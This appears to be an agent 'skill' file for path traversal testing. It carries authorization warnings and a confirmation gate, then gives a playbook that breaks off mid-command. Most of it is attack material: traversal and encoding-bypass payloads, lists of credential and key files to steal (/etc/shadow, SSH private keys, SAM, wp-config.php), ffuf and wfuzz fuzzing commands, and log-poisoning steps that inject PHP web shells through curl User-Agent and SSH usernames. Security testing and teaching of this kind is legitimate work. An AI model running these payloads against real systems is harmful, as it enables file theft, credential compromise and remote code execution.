file-path-traversal – Security skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target, ask for the exact target URL, IP, account, or resource and confirmation of written authorization and permitted scope.

> Show the exact command(s), explain their expected effect, and wait for explicit confirmation in the current conversation.

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

File Path Traversal Testing

Purpose

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.

Prerequisites

Required Tools

• Web browser with developer tools
• Burp Suite or OWASP ZAP
• cURL for testing payloads
• Wordlists for automation
• ffuf or wfuzz for fuzzing

Required Knowledge

• HTTP request/response structure
• Linux and Windows filesystem layout
• Web application architecture
• Basic understanding of file APIs

Outputs and Deliverables

1. Vulnerability Report - Identified traversal points and severity

2. Exploitation Proof - Extracted file contents

3. Impact Assessment - Accessible files and data exposure

4. Remediation Guidance - Secure coding recommendations

Core Workflow

Phase 1: Understanding Path Traversal

Path traversal occurs when applications use user input to construct file paths:

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

Attack principle:

• ../ sequence moves up one directory
• Chain multiple sequences to reach root
• Access files outside intended directory

Impact:

• Confidentiality - Read sensitive files
• Integrity - Write/modify files (in some cases)
• Availability - Delete files (in some cases)
• Code Execution - If combined with file upload or log poisoning

Phase 2: Identifying Traversal Points

Map application for potential file operations:

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

Common vulnerable functionality:

• Image loading: /image?filename=23.jpg
• Template selection: ?template=blue.php
• File downloads: /download?file=report.pdf
• Document viewers: /view?doc=manual.pdf
• Include mechanisms: ?page=about

Phase 3: Basic Exploitation Techniques

Simple Path Traversal

# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

Absolute Path Injection

# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

Phase 4: Bypass Techniques

Bypass Stripped Traversal Sequences

# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Bypass Extension Validation

Historical/parser-specific examples only: extra extensions do not by themselves make an existing file readable, and modern runtimes reject null-byte/invalid encoding tricks. Validate against the exact version; do not claim a bypass from a payload string alone.

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php

Bypass Base Directory Validation

# When path must start with expected directory
/var/www/images/../../../etc/passwd

# Expected path followed by traversal
images/../../../etc/passwd

Bypass Blacklist Filters

# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af

# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c

# Case variations (Windows)
....\\....\\etc\\passwd

Phase 5: Linux Target Files

High-value files to target:

# System files
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/group            # Group information
/etc/hosts            # Host mappings
/etc/hostname         # System hostname
/etc/issue            # System banner

# SSH files
/root/.ssh/id_rsa           # Root private key
/root/.ssh/authorized_keys  # Authorized keys
/home/<user>/.ssh/id_rsa    # User private keys
/etc/ssh/sshd_config        # SSH configuration

# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# Process information
/proc/self/environ      # Environment variables
/proc/self/cmdline      # Process command line
/proc/self/fd/0         # File descriptors
/proc/version           # Kernel version

# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf

Phase 6: Windows Target Files

Windows-specific targets:

# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\

Phase 7: Automated Testing

Using Burp Suite

1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success

Using ffuf

# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200

# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac

Using wfuzz

# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"

# With headers/cookies
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"

Phase 8: LFI to RCE Escalation

Requires separately authorized code-execution scope in a disposable lab. Reading an arbitrary file does not imply PHP inclusion; wrappers depend on runtime configuration/extensions. Modern environments often do not expose request headers in /proc/self/environ. Stop once the authorized proof is sufficient rather than escalating by default.

Log Poisoning

# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"

Proc/self/environ

# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"

# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"

PHP Wrapper Exploitation

# php://filter - Read source code as base64
curl "htt

… (full content is in the download package)